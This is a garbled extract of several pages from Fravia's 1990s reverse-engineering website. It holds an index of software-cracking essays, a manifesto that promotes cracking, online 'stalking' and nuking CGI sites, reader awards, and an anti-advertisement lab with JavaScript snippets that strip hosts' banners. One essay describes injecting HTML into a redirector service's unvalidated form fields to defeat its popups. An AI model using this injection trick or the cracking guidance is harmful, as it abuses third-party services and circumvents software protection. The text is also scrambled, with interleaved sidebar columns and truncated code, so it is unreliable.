encryption utility
17 Aug Cracking
FanTC ~ fantc1.htm proj 7 ~ fra_004E
97 Comments v1.3
19 Aug aUTOWINNET 95 unass.
xOANON ~ xoautow.htm ~ fra_004F
97 v4.0b
Cracking MS
FrontPage
19 Aug
+Sync ~ syncms1.htm 3.0.1.726 & MS proj 9 ~ fra_0050
97
Image Composer
1.5
19 Aug
x86 ~ x861.htm Cracking HEdit 2.0 proj 1 ~ fra_0051
97
How to install
19 Aug Soft-Ice 3.01
Heres ~ heres002.htm proj 2 ~ fra_0052
97 Win95 (trial
version)
20 Aug razzia's tutorial for proj 6
razzia ~ razzcripp.htm ~ fra_0053
97 crippled programs
21 Aug ULTRAEDIT-32
Aesculapius ~ ueditcrk.htm proj 1 ~ fra_0054
97 V. 4.40a
Reverse
22 Aug
ReZiDeNt ~ reziedi1.htm Engineering proj 1 ~ fra_0055
97
UltraEdit-32 4.40a
22 Aug
Frog's Print ~ fp_melti.htm melted MeltICE proj 2 ~ fra_0056
97
22 Aug razzia's Tutorial on
razzia ~ razziak2.htm unass. ~ fra_0057
97 Key Generators (II)
CENTURY LAN
22 Aug ANALYZER VER unass.
The Undertaker ~ banda2.htm ~ fra_0058
97 1.22b [WIN95
VERSION]
27 Aug Cracking DNS
Hackmore Readrite ~ hackmo1.htm unass. ~ fra_0059
97 WORKSHOP
27 Aug PhotoVista v1.0
Nop ~ nop1.htm unass. ~ fra_005A
97 crack Step-by-Step
28 Aug EnTray-Vous,
Mammon_ ~ mammon1.htm proj 7 ~ fra_005B
97 Merci
Brief Tutorial on
28 Aug CD Access Based proj 4
Aesculapius ~ aescul5.htm ~ fra_005C
97 Protection Schemes
Under Windows
28 Aug Ulead PhotoImpact proj 7
PNA ~ pna1.htm ~ fra_005D
97 Trial 3.01
30 Aug A "Laying Eggs"
Kox ~ koxpara.htm unass. ~ fra_005E
97 target
31 Aug iniquity's inequality proj 7
Flipper ~ flipper1.htm ~ fra_005F
97 protection scheme
W32Dasm Version proj 0
01 Sep
PNA ~ pna2.htm 8.0 Save ~ fra_0060
97 proj 6
re-enabling
Dongle reverse
03 Sep
Zafer ~ zaferdon.htm engineering - proj 3 ~ fra_0061
97
HASP
03 Sep Novell Netware
The Undertacker ~ bandnov1.htm unass. ~ fra_0062
97 3.12
Cool 3D by Ulead -
03 Sep
Drlan ~ drlan1.htm up against nags and unass. ~ fra_0063
97
smears
04 Sep Taming Monsters,
fravia+ ~ tamimons.htm unass. C fra_0064
97 finding clowns
no more banal
Above the first essays! 100 essays!
essays please
(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed
(c) Fravia+ , Krugman, 1995, 1996, 1997, 1998. All rights reversed
Welcome, dear readers and visitors of this site, I'm sure that some of you will be a little
amazed, and confused, for the quantity (and if I dare say it, the quality and peculiarity) of the
information you'll find on my "pages of reverse engineering".
The structure of this site recalls the "climbing-descending" picture of Escher you'll be able to
see here: you should wander inside my site and peruse my pages at a leisurely pace, you'll
eventually understand its Moebius-like topology.
This site is mainly dedicated to a very noble (and fairly difficult) art: reverse engineering, i.e.
individuating and gathering "hidden" or "lost" data in a "backwards" approach: from finished
phenomena back to its hidden "code".
There are many forms of reverse engineering the world around you: semanthic studies, for
instance can be very useful (like rethoric) in order to "reverse engineer" a speech or a message
from somebody.
Although may be not as important as "industrial" reverse engineering, software reverse
engineering is a science in its own rights and my extraprofessional activity has always been
centered on the understanding of the "inner working" of the application I have used, in order to
modify and ameliorate them if necessary (sadly, it is indeed necessary most of the time)
One of the main "sections" of my site is consecrated to this endeavour.
Most people are interested in the specific reverse engineering of protection schemes, i.e. the
part of the software code that "protects" an application from being used fully, or for ever.
Indipendently from its "gray" legal meaning, this is a good choice indeed (even if my own
contributions are more oriented towards "general" software reverse engineering: my recent
essays about "filemon.exe" should allow you to reverse engineer almost every windows95
application) because it gives us the opportunity to take many talented people on the
bandwagon. Studying a subject in continue and relentless evolution (like protection schemes
are, for obvious commercial reasons) implies moreover a continued evolution of our own
techniques. You'll notice that we are already developing our own tools. The numerous
contributions you'll find in the "Academy" section have already improved our techniques and
Protection schemes reverse engineering was moreover a field dominated by +ORC, an half -
mythical being (there are on the Web sites that deal exclusively with the mystery that this
person represented). +ORC ("the old red cracker") was a Master Cracker and great Philosoph,
whose eclectic and now a little obsolete Tutorial you should by all means read (and head).
+ORC is a "general" reverse engineer, not only a cracker, and his "social" reverse engineering
studies are particularly beautiful. His reverse engineering of the barcodes (those little "stripes"
codes you can see on any object around you) is by many considered one of the masterpieces in
the whole history of "applied" reverse engineering.
+ORC was a mentor for many of us.
Anonymity on the web is another field where you can apply reverse engineering techniques of
various type. In this section fall also "stalking" (i.e. finding real information on people that are
on the web, behind all the "noise" they may have made); "luring" (i.e. trapping somebody on a
page that will reveal you some information on your target); "counter intelligence" (i.e.
intercepting messages on Usenet that are useful for you and that are being exchanged by people
you don't even know the name of) and many other interesting and very recent techniques that
you'll be able to learn on my site.
The search for information on the net is a science in its own rights, and there are many sites on
the web that deal with this subject. I try on my site to help you understand how to use
effectively the main search engines, and especially which ones to use for different endeavours
(there are interesting differences between them). You'll find also some elementary information
about "combing", i.e. gathering results that others have collected, via "top counter lists",
vigilant filter and usenet depots like Dejanews and e-mail query. A new searching technique:
klebing, i.e. 'reversing' a search, using the locations where the information seekers themselves
come from as possible source of valuable related information is also explained in deep. During
1998 I will begin a section on bots building since it is more and more evident that if you nead
real information you cannot rely on the commercial oriented search engines alone.
A section of my site has been consecrated to the struggle against commercial "smut sites":
those sites that are increasingly swamping the Web offering extremely low level pornography
for money (I'm not a censor and I have nothing against nude pictures - if given away for free).
Indipendently from this specific struggle against smut, you'll be able to learn there some
rudiments of CGI-script reverse engineering, i.e. how to nuke a whole site on the web (given
some conditions) against the will of its owner.
Microsoft is bashed quite oft on this site because we believe it is imposing a very poor
operating system to the whole world through money and bad concurrence practices, not
through intrinsic, "real", value. In fact all Microsoft programs are so bugged and unstable, as
you'll learn here on my pages, that one wonders about the mental sanity of people still happily
buying and using them.
Regarding Internet browsing, you'll find on this site some "snippets" and tricks that will allow
you to "shut out" from your pages (or completely nuke :-) anybody that uses Microsoft's
Internet Explorer instead of Netscape Navigator... of course this does not mean that we believe
Netscape to be a "good" society, not indeed... as soon as a "less commercial oriented"
alternative in the browser scene arised (Opera, a beautiful configurable, fast and relatively
small browser), we all jumped on it, forgetting Netscape and his awful bugs.
A small section of this site deals with an interesting problem: is software reverse engineering
actually legal? I had so many problems (on the net, at work, everywhere) that I wanted to
clarify this. The law differs between the USA, the European Union and Japan (obviously, since
the three have different economic interests in this field), and there are quite a lot of obscure and
pretty vague law formulations which need and deserve to be studied and translated into normal
language. Anyway -despite all crimoinalisation attempts, the days of the 'commercial'
copyright are already numbered.
See: reverse engineering (and mass team work for free) has ALREADY taken an enormous
importance for the developing of new products. No I'm not speaking only of the (very
important if slow) triumphing of free mighty Linux versus stupid buggy Windows. If you
watch the landscape now (Mid-1998), with Netscape decision to give the source code of its
main product Navigator, for free, to anybody who cares (copyleft instead of copyright), hoping
to push a 'mass team work' on the web to sink Micro$oft, it is absolutely obvious that
copyrights are nowadays HINDERING development instead of protecting it... laws and policy
makers have of course not noticed it yet... quite the contrary:
The last concerted moves all over the world towards an a priori criminalisation of any sort of
reverse engineering studies confirm also the danger that such knowledge represents for the
political corrupt 'establishment'. Governments are among the most obvious puppets of the huge
corporations that now rule, and as an elementary exercise in 'reversing reality' you may also
easily note a not so curious corresponding development: while reverse engineering studies are
being criminalized, all forms of human exploitation (child labour, forced labour, even buying
and selling human beings) are being de-penalised and more and more allowed (and
media-hailed) in the name of the 'globalisation' of the 'free' markets... an hideous, commercial
oriented development, which all over the world has brought more mass impoverishment than
anything else before -bar wars- ever did.
Yes, understanding the world is far from easy... and the web does not help much: an ocean of
knowledge... about two centimeters deep! You'll find tons of useless information and frills
everywhere, but this will not help you to understand what is really happening. For that you will
have to learn how to "reverse" the messages you get... and I believe that the approach we are
using here (taking concrete small examples and applying 'scientific reversing' to them) may
deliver a very effective form of teaching for these purposes: you'll find it in the section that is
slowly "taking off", and that I personally love: the Reality cracking section of my site.
Ultimately I intend to leave the field of software reversing (busting protection schemes is
IMHO far too easy to represent a real challenge for advanced reversers, I personally will not
crack protection schemes any more) and concentrate on the three (related) fields of internet
searching, anonymity concerns and reality cracking. As far as I have any 'plans' for this
endeavour of mine, I intend to transform my site during 1998 more and more into an
'anti-advertisement' fortress: studying, understanding, reversing and ultimately countering all
the pavlovian tricks that advertisers are using all over the world to lobotomize human beings
into 'consumers'.
I will not be able to do all this without the help of the crackers, of the seekers and of all other
friends out there whose brain has not yet being reduced to mud by tv-commercials.
There are many pages on my site... you may peruse everything at will, you are welcome. You'll
also notice that my pages (with some exceptions) load very quickly because there are almost
NO pictures on them (nor frames of course): the contents, not the frills, make this site the
knowledge treasure it is intended to be.
Do not be scared, nor paralysed if you don't understand everything immediately, knowledge is
like one of the chill white wines bottled in the old lagoons I come from: you should sip it
slowly and knowingly, else it won't do you no good.
The faq of this site (read the faq before writing to me!)
The help I need and that you could eventually give me.
And you may want to have a look at the award made by Master DaVinci as well
Fravia's awards
(I have decided to publish only one per month)
June 1996
Fravia's page of reverse engineering may have few links, but it's much more worth than tons of useless
pages and useless links
~
Computer Underground, June 1996, Pag.23
July 1996
"Le meilleur Didacticiel qui existe et de loin: +ORC Cracking Tutorial (En plus les leons sont rcentes
et il y en a costamment des nouvelles). Vous pouvez trouver les versions les plus rcentes sur la page de
Fravia (Meilleure page pour apprendre dplomber mon avis)"
~
Le hacking/cracking/phreaking pour les golios, July 1996, pag.3
August 1996
"Fravia's page of reverse engineering is a real goldmine for newbyes"
~
Internet surfing, August 1996, Insert "Hackingworld", Pag.2
September 1996
"Let's end by saying that Fravia's page gave best performance on information in relation to spending
money for internet account and time"
~
Christian Teroerde, "On the net", September 1996, Pag.17
October 1996
Amazing page: Fravia's page of reverse engineering at... will help your journey to the land beyond
trivial surfing
~
Nexor (uk), "Net Juwels", October 1996, Page 3
November 1996
"The material on Fravia's page of reverse engineering is brought together into a coherent whole that is
very rare. Finding this page is like finding a single, brilliant diamond among thousands of common
stones"
~
Kevin Lee Legge, "Review of the Web", November 1996, Page 11
December 1996
"The information on Fravia's site is fantastic. It has really helped me much to understand the "inner
workings" of this hunk of metal and silicon in front of me.
~
M. A. Kedfrog "A 1996 Insider report", December 1996, Page 2
January 1997
Fravia's page of reverse engineering quoted as The Best the
Web has To Offer at http://www.x1.net:80/~core/riotlynx.html :-)
February 1997
"I stumbled across your site while looking for information on 8086 disassemblers. All I can say is that it's
by far the most interesting and useful creation I've ever come across. We're cancelling my wife's
Compuserve account in your honor"
~
johnb(at)interlog(point)com, February 1997
March 1997
"I don't really know how I stumbled onto Fravia's page of reverse engineering. I spent the best part of
the day with my mouth open. I have found my Shan-gri-la"
~
Gerald Hartig, "Perusing the dark sides", Webintern N.52, March 1997
April 1997
"... Fravia provides this excellent web page for those of us who wish to learn more about the Internet we
live in"
~
T. Oadlip, "Catching trends", PC-Web N.11, April 1997, p.27
May 1997
"Now, your site means a lot to me and I can learn something new there every time I visit. Thank you for
maintaining it for so long, even in the face of censorship.
~
saltine(at)anon(point)nymserver(point)com, May 1997
June 1997
"...I have learned enough on your pages to stop the lamers from hacking my code, and I don't care how
long they want to try. If they hack it, I will just make it more secure."
~
73553(point)3111(at)compuserve(point)com, June 1997
July 1997
...Fravia should be aware of the fact that he's loosing good money: I've never had such a "high" perusing
a site without paying for it!
~
Direct PC World, Issue 134, page 16, July 1997
August 1997
"...I just wanted to let you know that the work you are doing is appreciated. I must admit that I am some
what of a lamer... you know, one of those stupid programmers, but I am in the process of changing that
~
Mike Coker, 17 August 1997
September 1997
"Hey. Nice reverse engineering page. I saw the thing on Kremlin... I'm the author of Kremlin! Oops!
Well, I guess next time I'll spend more time on the protection scheme -- I concentrated on making a good
program, not making a good protection scheme. Kremlin 2.0 will be really cool and will, now, have
better security features and won't be as stupid"
~
Mark Rosen, Mach5 Software, http://www.mach5.com/, 30 September 1997
October 1997
"Fravia's page of reverse engineering at... has been named Best of the Web in the Computing Channel by
the editors of Snap! Online. (http://www.snap.com) In order to find your review, submit a search for your
site in the channel listed above. Then click on #2: Web Sites; you'll find your site listed in the Best of the
Web section. Being named with the Best of the Web designation allows you access to the Snap! Online
"Best of the Web" logo, which you can merchandise in many different ways. One of the easiest ways to
gain recognition of your "Best of the Web" status..."
~
Vin Diec vind(at)cnet(point)com, 31 Oct 1997
Typical bogus award, I publish this only in order to put all of you on guard: there are more and more
small organisations that practicize what I would call "reverse awarding": they are not very important and
they try to ACQUIRE importance (and hits) finding some gullible webmaster ready to publish their logos
in good position on his site (which I of course will not do: quelle vulgarit... besides, this logo is not even
aesthetically appealing). I will probably loose this "Best of the Web" award, after publishing these lines,
yet I got so many other that I could not care less :-) "merchandise"... what for an awful attitude!
What can you learn from this? Quite a lot! As soon as you see a page that has lot of counters and "awards
logo" in 'pole position', (as opposed to hide them the more discretely possible), you know that you can
immediatly point your browser elsewhere... it's an important signal, like the so-called "gold" versions of
all major credit cards! In fact as soon as you see a guy using a "golden" credit card (proud and haughty to
have paid more for next to nothing :-) you can be sure that you have met an idiot
November 1997
"Fravia is one of my favorite sites of the Net.
His "reverse engineering" studies and exposes of embedded applets in these new languages are
invaluable. A few hours of reading his collection of studies gives folks like me a whole new perspective
on how to debug our own applications. Altough Fravia focuses on protection schemes, those are the only
ones widely distributed and available worldwide as study targets. My world has many many occurrences
of code taking wrong branches that has nothing to do with protection schemes... but the tracing
algorithms I learn from him are extremely useful to me in finding out, for instance, why a motor does not
turn like it was supposed to in a robotic welder, or how to port ancient software to use different
hardware, to substitute for hardware that is no longer available"
~
NODE (n_053), November 1997, pag. 12
December 1997
"School taught me how to write code... Fravia is teaching me how to make it work. One of the hardest
things I have ever had to do was to take someone else's code, sans support, sans source, sans even the
company who made the product ten years ago, and make it work.
Fravia+ is a priceless gem."
~
Gary: roawwr(at)pacbell(point)net
January 1998
Dear fravia, thanks a lot for your site -- it is great! I've got a lot of lessons from here as a shareware
programmer. By the way, you host a very interesting article telling how to crack my own program
(Advanced Disk Catalog, old version, though) there (just to let you know who am I). The protection, of
course, was really stupid. I've improved it a little bit in the latest version (version 1.20, this is not an
invitation to crack it, btw :) Anyway, I wish you luck -- please continue your good work. I think every
shareware programmer should visit your site before releasing his/her "brand-new uncrackable
protection". Sincerely, Vladimir
~
Vladimir Yu. Katalov - http://www.elcomsoft.com
February 1998
...Once again, thanks for the great site. I'm a shareware author myself (CuteFTP), and I found a lot of
useful info already (and I only spent a day there!). Hope my next protection scheme will be tough enough
to last a few weeks, so that some of the lamers out there will get tired of waiting and actually pay for it :)
Cheers, Alex Kunadze
~
Alex Kunadze - rabbit(at)txdirect(point)net
March 1998
...Ce site est tout simplement fabuleux. Il est comme un phare guidant l'individu pris de libert au milieu
de cet ocan politico-financier que devient Internet. Il nous encourage tous entretenir notre identit
individuelle et rsister aux sirnes des multinationales-tats mercantiles. Comme on ne le dit pas assez
souvent, le savoir est la seule et unique chose qui donne le vrai pouvoir, celui d'tre soi mme,
indpendant et libre. L'accs au savoir est un droit inalinable et sa diffusion un devoir pour tout un
chacun. Merci encore fravia+ pour ce site unique en son genre...
~
tamaya.wanadoo.fr: "Les sites visiter"
April 1998
...as a shareware author, i'm pleased to find my programs cracked. And this is why: the little .COM app
cracks only work for specific versions and since i constantly put out new versions, the cracks are
obsolete before anyone can ever see them. you might want to mention that in your page somewhere.
Huge companies like M$ and Adobe can't put out 2 versions each week. small shareware authors can,
and i do. By flooding the world with dozens of different versions, an author can keep crackers very busy.
and, no i'm not putting out bug fixes, i respond to users and add features. and yes, i charge for my
programs, but not much: just enough to keep my web sites alive... now if i could just kill all the serial #
pages run by "StUpiD LoNeLy tEEnAgErs", my job would be much easier... ...
~
chrisdl(at)pagesz(point)net
http://www.pagesz.net/~chrisdl
May 1998
...years ago when there were people with flair and a clue, like Pengo. Now the hacking man of the hour
is Kevin Mitnick, a seemingly smart man who went to jail after devoting an insane amount of effort to
annoying a computer security expert about his nationality. What really impressed me though was your
reality cracking section, it was hard for me to believe that you actually had Noam Chomsky essays on
your site. That's what it's all about, mixing political beliefs with computer knowledge, instead of wasting
your time getting "warez". Micheal Moore once talked about the potential of the Internet: that Internet
was for spreading ideas and educating people, but that it was bogged down with commercial garbage.
On a side note I find it amazing that your lessons explain things i assumed to be insanely technical in a
clear, humble, and relatively simple way...
~
dextro(at)rocketmail(point)com
(dextro)
see also -for the same month of may 1998- another, different yet related to the above, sort of " award"
June 1998
..the knowledge that fravia provides on his pages is important not just in itself but also because it teaches
people to use the wonderful power of the personal computer as a tool of liberation against the powerful
forces of coercion that try to restrict and control us every day everywhere, no matter if we are Asian or
American or European.
~
Jim Pannozzi (Mindspring's survey of the net - June 1998)
July 1998
...You don't know how good it felt to finally understand how ASM code, hex, and binary all fit together...
how it felt to crack my first program, a web spider called WebMirror... and how it felt when I turned
around and removed a CD check in a game, Fire Fight, within a half an hour.
I have gained from your pages a (somewhat) clear concept of how software protection works, and how to
defeat or implement it, and for that, as I'm sure I am not alone. I can never thank you enough. Please
keep your site up as long as you can, as a service to everybody.
~
Ryan Underwood (July 1998)
August 1998
... and least but not last I thank Fravia for convincing me to try the Opera Browser. I loaded the 3.5 beta
version and it works wonderfully. With it I will slowly recover from the MSIEx browsers' trauma. I think
also that the process of detoxication will continue and maybe, maybe, I will land finally on a non-MS
platform.
~
Marek Eyal (PC Discover n.77, Jerusalem (Israel), August 1998)
September 1998
Stop wading through pages of low-level material to learn how to use the web! Fravia's pages of reverse
engineering offer an amazing compilation of individual workshops that will teach you some incredibly
fascinating new techniques and tricks.
~
The new web library (Norway, September 1998)
October 1998
One person's offerings to the world of hackers, crackers and phreakers (phreakers? sic!). Can you say
First Amendment? Much of what you'll find is definitely in a gray area legally. But it's OK to know how
to do certain things, as long as you don't actually do them.
~
The Snap Editorial Team (Snap Editors' Choice, October 1998)
A typical 'bogus' award, see the 'award' for October 1997, awarded to me by Snap as well exactly a year
ago... they seem to award 'crackers' every October... Often enough the result of this kind of awards are
sites with a plethora of nav, slow loading and mostly never seen before little banners without any
interest whatoever... if you click one of them you will be plonged in a banner-clicking and windows
spawning hell :-) As a matter of fact I have never found a site with many of these little private awards
that was really worth something... so maybe my site isn't worth that much either...
November 1998
"...I'm just writing to say how great your site is, (you already know how great it is, i can tell... hehe) and
to let you know that it has inspired me, and changed how I view the world, and the internet, for the
better. I can now find almost anything I want on the internet, and soon, probably absolutely anything. I
may not know how to reverse (yet) but Im starting to understand the "how, and why" of it."
~
The LateKnight
December 1998
Fravia is doing a great job and I don't think that people will ever appreciate it enough, he has my
respect.
He recently took a controversial position and there are some that believe he's betraying +ORC's ideas. I
don't think so. My idea of ZEN is 'feeling the code', and this is, in my opinion, what reverse engineering
is all about: achieving high level programming skills, 'feeling' the code... I don't see how anyone can
object to that, certainly not the great +ORC
~
Harold Brinkhof, ASM newsletter, #7/12, december 1998
homepage links anonymity academy +ORC tools counter measures Javascript stalking
students' essays cocktails search_forms CGI-script reversing mail_fravia
Is reverse engineering legal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
Fjalar Ravia
aka fravia+, aka msre, aka Spini, aka Red Avenger, aka Sustrugiel
One of his most peculiar endowments is the capacity of NON watching for
months any TV at all.
He works and lives in the European Union with his beloved wife Annele, his
daughter Franziska, the twins Alvi and Sirkka, his books, his wines and a lot of
bikes.
"For the older crackers are less interested in themselves than the younger ones, and better at getting
inside other things. They are steadier, and keep their minds on things longer"
+Alistair
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed & reserved
) You'll be able to find an incredible quantity of very good games, of course for free, if you follow the
paths of the "Abandonedwares". For instance here, where you will also be able to find the complete Steel
Panthers 2 version.
Advertisement is
slowly pervading
every aspect of
our lives. We live
bombarded with
images and
sounds whose
only purpose is
to make us react,
like Pavlov dogs
or zombies, in
order to
consume. We
HAVE TO buy
totally useless
products and
have been
transformed in
products
ourselves.
Our enemies are
going to install
ads in the
railway tunnels...
you will have a
stroboscopic
effect while
passing by. They
are going to
project ads on
clouds and onto
the evening sky.
They have
A already
transformed our
T anti continuous
consumistic
pushes. Already
I advertisement
now you cannot
Updated (and definitely in
June
1999 the future you
lab
will not) read,
- sleep, love, think
or move around
without being
A bombarded by
ads, all intended
to deceive you in
D Fravia's Nofrill
order to push
you to consume
something, to
Web design
buy something,
('98 ~ '99) to waste your life
for "their"
profit.
I don't like this,
of course, and
therefore I'm
going to do what
I can to change
this situation and
to retaliate. I'm
not without
weapons against
this zillion of
money worth
really huge
industry, as you
will see :-)
This section of
my site is
dedicated to the
methods that we
can use to get rid
of those useless
ads. As you'll see
there are many
possible options,
and some of
them -incredible
but true- do
actually seem to
work.
Please bear with me this first attempt. Many good essays in the reality cracking lab have QUITE A LOT
of interesting anti-advertisement techniques and info inside. Read them, starting from +ORC's
world-famous Supermarket enslaving tricks, and have a look at some interesting anti-advertisement tools
in Adding the Blemish of Truth : How to Alter a Billboard
On this specific lab we will begin with some WORKING methods to "cure" the bannerclicking inferno
the bastards advertisers have prepared for us on the Internet. I'm glad to present here the following
essays:
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
E anti
There are 600 million sites out
there, doubling every four months...
and many of them carry absolutely
useless banners and ads. Of course
M advertisement Updated
you are using a good browser, like
Opera, that allows you to shut off all
images whenever you want, in order
O lab
July 1999
to access quickly the contents you
are searching. But at times you are
yourself forced to use a "free" space
But there are no explicit agreements, and many users want to rid their surfing experiences of large banner ads that can take
minutes to load, so, let's proceed...
First of all IMO may have to find the EARLY copies of some interesting software solutions, as you'll see below, most of them
have been subsequently censured or volontarly crippled :-(
James Howard, created Internet Fast Forward, one of the first programs designed to filter out banner ads.
The software he produced was discontinued due to liability problems after he sold his company, PrivNet, to Pretty Good
Privacy in November 1996. Howard said Internet companies had threatened to sue, accusing his company of violating their
copyrights and modifying their pages. Howard had countered that users were the ones who controlled the content, not the
software producers.
PGP decided the risk of lawsuits was too great and stopped production of the ad filtering program.
Solid Oak, the Internet filtering company that produces the Web filtering software Cybersitter, introduced tools to screen out
banner ads.
Brian Milburn, president of Solid Oak, said he introduced the filtering technology in response to requests from some of
Cybersitter's 1.2 million customers, many of whom use older computers with slow Internet connections that make viewing
banner ads a time-intensive task.
One day later the company rescinded the tool that screens out ads in free email services, because users sign contracts saying
they will accept ads in exchange for free email, Milburn said.
This one is pre-programmed to kill the prohosting.com banners, the tripod.com banners, and the geocities.com banners."
you sure know about the listen.to; come.to; fly.to; etc. redirection service.
if you'd like to use it, you have to include a little javascript-code on your page. 'they' say a bot will have a look on your page
every 2 weeks to check if the script is installed. if not the redirector stops.
workaround::
on this way the banner can be seen and the bot is satisfied cause the code is there.
but
if you change only one little thing, if you let the first comment open:
<!-- V3 Redirect Services Banner start --
code.. ^^^
<!-- V3 Redirect Services Banner end -->
happy days
rocksteady
<script language="Javascript">
<!--
location.href="main.html"
//-->
</script>
Fluril
Hi, I somehow managed to remove the popups for virtual avenue by adding this codes
before the
<html> of every page.
}
window.open=FakeOpen;
</script>
Looking at the codes added by the server, va_rvjr137y seems to be the "window
handle". By modifying the codes produced by Proxomitron, I was able to add this codes
in to counter the popups. Just tested without the codes, the popup is seen. When I
add in the codes, the pop-up disappeared.
For Xoom website, they will automatically add in an extra frame. To counter that, add
in _XOOM into your links eg
http://members.xoom.com/Ryanosis/files.html
into
http://members.xoom.com/_XOOM/Ryanosis/files.html
<!--
if (top.location.href != location.href)
top.location.href = location.href;
// -->
</script>
Regards
Eternal Bliss
On services that stick their banner code at the very end of your page, the simplest way to eliminate the popups is to stick a
"NOEMBED" tag after your closing "/HTML". This works fine for me in Opera 3.60 and all versions of Netscape and MSIE
tested. I figure why use javascript against itself when you can use html against javascript and be more compatible (or is it
incompatible?) with more banners.
Gordon
homepage links anonymity +ORC students' essays academy database bots wars
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
June 1999, part of the remove banners section of the anti-advertisement lab.
About Banners
By TeRR0RNauT
Most banners are quite basic in design. The usual method is to either
require a user to have some java-script in his/her page or automatically
add it when index.html is downloaded.
<script language="java-script">
if (top != self )
{
top.location.href = "http://..."
}
</script>
<script language="java-script">
top.location.href = "http://..."
</script>
I know that this first part is quite easy and has been done a
million times before that's why I'll continue with a far more
interesting target & solution.
Redirectors are quite handy, because they hide your true url and
because they allow you to move your page around without the visitors
ever noticing. I first had a redirector at txe.org but they have been down
for ages now so I started looking for another one. Which I found
at tsx.org. They provide a free service. But if you want them to
hide your url ,( i.e. put a frame with "blabla.tsx.org" as location
ontop of your page ), they'll show a popup-banner.
<script language="java-script">
<!--
'resizeable=no,scrollbars=no,width=600,height=47,innerWidth=600,innerHeight=47,
titlebar=no,screenX='+bannerX+',screenY='+bannerY+',left='+bannerX+',top='+bannerY);
//-->
</script>
<script language="java-script">
<!--
popup = window.open(popupURL,popupname);
popup.close()
//-->
</script>
The two most important things are the close content trick and
the final open bracket. Because the final open bracket the rest of
the page will be seen as between brackets, and therefore will not be
displayed or executed.
When you try to set the content tags to this string you'll notice
a problem. You can only enter 30 chars. Which is too little for a nice frameset.
But I noticed that this 30 char max was defined in the html form.
Forms are a way of entring information into a html page which can then
be sent to some cgi on a server. Because the max was defined in the form
it should be changeable. So I made a local copy and set the max to 255.
The only problem with a local copy is that the result will be sent to yourseld
so you'll have to edit the <base> tag , and maybe change a few relative
URL's.
<BASE href="http://www.tsx.org">
</HEAD>
<BODY BGCOLOR="#333333" TEXT="#FFFFFF" LINK="#3399FF" VLINK="#3366FF">
<P ALIGN="CENTER"><CENTER>
<TABLE CELLPADDING=8 CELLSPACING=8 BORDER=0>
<A HREF="/home.html">
<IMG SRC="logo.gif" WIDTH=164 HEIGHT=198 BORDER=0 ALT="TSX The Technosite
Exchange"></A>
</TD><TD ALIGN="LEFT" VALIGN="TOP">
<--- change to
<TABLE>
<TR><TD BGCOLOR="#666666"><B>HostName</B></TD>
<TD></TD></TR>
<TR><TD BGCOLOR="#666666"><B>URL</B></TD>
<TD><INPUT TYPE="text" NAME="URL" VALUE="" SIZE=30 MAXLENGTH=150></TD></TR>
<TR><TD BGCOLOR="#666666"><B>Owner</B></TD>
<TD><INPUT TYPE="text" NAME="Owner" VALUE="" SIZE=30 MAXLENGTH=50></TD></TR>
<TR><TD BGCOLOR="#666666"><B>Email</B></TD>
<TD><INPUT TYPE="text" NAME="Email" VALUE="" SIZE=30 MAXLENGTH=50></TD></TR>
<TR><TD BGCOLOR="#666666"><B>Password</B></TD>
<TD><INPUT TYPE="text" NAME="Password" SIZE=20 VALUE="" MAXLENGTH=50></TD></TR>
<TR><TD COLSPAN=2> </TD></TR>
<--- change to
</FORM>
</TD></TR>
</TABLE>
</CENTER></P>
</BODY>
</HTML>
This is possible because TSX doesn't filter html chars from the content fields
and because they don't validate the length of the content fields.
GreetZ TeRR0RNauT.
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
This is a 'living'
workshop on bots
trapping and
reversing, see my
javascript page for
"broad" site
protection
B techniques.
As deep wrote in his
bot-essay: "There
section Updated
September 1999
not to give bots to
people who do not
understand them -
~ it's considered
irresponsible. Of
W The bots essays are here!
(see below)
course, once you've
learned how to
build bots, you can
A be as irresponsible
as you like".
Exactly, and that is
R Fravia's Nofrill
Web design
the reason you will
find more
knowledge only if
you will contribute
S (1998)
and work on your
own.
Study (on your own
if possible) and then
send contributions
(like the very
important essays
below)
~
The term "bot" is, according to DeadelviS, a short for "robot", which sounds much cooler than "program"
As Andrew Leonard explains, like mechanical robots, bots are guided by algorithmic rules of behavior -
if this happens, do that; if that happens, do this. But instead of clanking around a laboratory bumping into
walls, software robots are executable programs that maneuver through cyberspace bouncing off
communications protocols. Strings of code written by everyone from teenage chat-room lurkers to
top-flight computer scientists, bots are variously designed to carry on conversations, act as human
surrogates, or achieve specific tasks - such as seeking out and retrieving information. And... bots can also
be used as weapons.
(This section of mine regards web robots - spiders, wanderers, and worms. Cancelbots, Lazarus,
Automoose. Chatterbots, softbots, userbots, taskbots, knowbots, mailbots. MrBot and MrsBot. Warbots,
clonebots, floodbots, annoybots, hackbots, and Vladbots. Gaybots, gossipbots, gamebots. Skeleton bots,
spybots, and sloth bots. Xbots, meta-bots. Eggdrop bots)
This Bot trapping (bot wars) section was started in May 1998
It's up to you to help us with your own work or not: it is my intention to offer you enough material on
this page to allow you to start.
See: I'll NEVER charge money for accessing my site: I charge the only "money" that's worth something
on this web of ours: knowledge!
I want you to contribute with YOUR knowledge!
Remember, if you build on other people's shoulders, you must offer your own shoulders for others to
build upon!
when, because I haven't got the time to check all the tracks :-) I'll (try to) trap it, have a look and, if it
proves to be a good work, I'll publish your source code if you want me to... alternatively, if you prefer,
you send me a good essay on "bot's wars" or "bot's design", or "bot's trapping", and I'll gladly publish it.
But it better be good and YOUR OWN WORK (you'll have all the credit, as usual), should I find out that
you copied stuff from somewhere without telling, I'll slowbomb you for quite a while... :-)
own, let me please see and touch the code of a "real" bot!
Yessir! Please go ahead: have a look at our essays!
this essay (perl_es1.htm): Perl@usa.net ~ How to reverse a "free" service has been written by [blue] in
July 1999 for the removing banners section, read and enjoy, let's hope you'll write afterwards your own
perl-bots and send them here so that others can ameliorate and give feedback...
PHASE TWO (22 July 1999)
this essay (rt_bot1.htm):The HCUbot: a simple Web Retrieval Bot in Perl has been written by deep in
July 1999, read and enjoy! Let's hope you'll write afterwards your own perl-bots and send them here so
